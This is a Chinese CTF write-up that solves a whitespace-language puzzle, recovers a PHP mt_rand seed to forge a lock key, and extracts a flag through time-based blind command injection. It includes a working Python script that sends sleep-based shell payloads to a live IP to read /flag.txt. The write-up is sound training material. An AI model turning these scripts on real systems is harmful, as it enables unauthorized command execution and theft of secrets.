这比赛打的想剁手,seed那题一直在猜怎么提交,最开始猜到了因为xff拼错了耽误了好久23333,以至于最后zblog没时间解了

Misc-whitespace

题目给了一个文件,打开来是空白的,用sublime打开,全选发现是一些空格和换行符,盲猜是whitespace编程…(安恒六月赛时有过一个,但是当时那个是snow一把梭就好了)。

结果找工具找了半天(上次用的工具被删了2333),最后找到编译器直接跑一下就出来了(错失一血…)

Web-easyseed

题目提示是一个开锁的游戏,并且说不是主人,于是需要找到keylock,在cookie中可以找到,并且有提示需要从lock中推出key

看不出来咋推,先扫目录,发现有一个index.bak文件,打开可以拿到keylock的生成代码

看到是随机生成的,并且使用了mt_rand,题目又叫做easyseed,于是想到php伪随机爆破,使用php_mt_seed就可以,先把给的lock转化为可以识别的字符:

str1='abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'
str2='vEUHaY'
length = len(str2) # 10
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

拿到后放到php_mt_seed中直接跑出随机种子来

然后用题目的生成逻辑重新生成一下key就行了,这里爆破出两个种子,用第一个就可以了

<?php

mt_srand(718225);
// nRtqGR8mtd9ZOPyI

function random($length, $chars = '0123456789ABC') {

$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
echo $lock;
echo "\n";
echo $key;
?>

拿到key值之后就是坑了,一直提交都失败,后面想到是不是需要加xff头,结果因为自己拼错了…耽误了好久…后面回头一看才发现,这里直接把生成的钥匙放到cookie里,然后加上xff头就可以拿到flag了。

web-easyweb

最开始有点懵,什么都没给,最后再response里面发现了一个提示Post: cmd

于是猜测是否为一句话,但是直接用蚁剑或菜刀连都失败了,想到是否是无回显的,于是尝试使用sleep,发现有明显延迟,那就应该是bash时间盲注了,直接写脚本跑就行。

#encoding:utf-8
import requests,time

url='http://119.3.37.185'


if __name__ == '__main__':
pos=1
flag=''
ses=requests.session()
while True:
for i in range(32,127):
t1=time.time()
try:

r=ses.post(url=url,data={'cmd':'if [ $(tail -n 1 /flag.txt|cut -c %s) = %s ]; then sleep 4; fi'%(str(pos),chr(i))},
timeout=7)
except Exception as e:
print(e)
t2=time.time()
if t2-t1>=3.5:
pos+=1
flag+=chr(i)
print(flag)

这里需要猜一下flag路径,最开始猜测是/flag,结果不对,后面想利用盲注列目录,写脚本的时候想到/flag.txt,结果还真是…于是flag就出来了…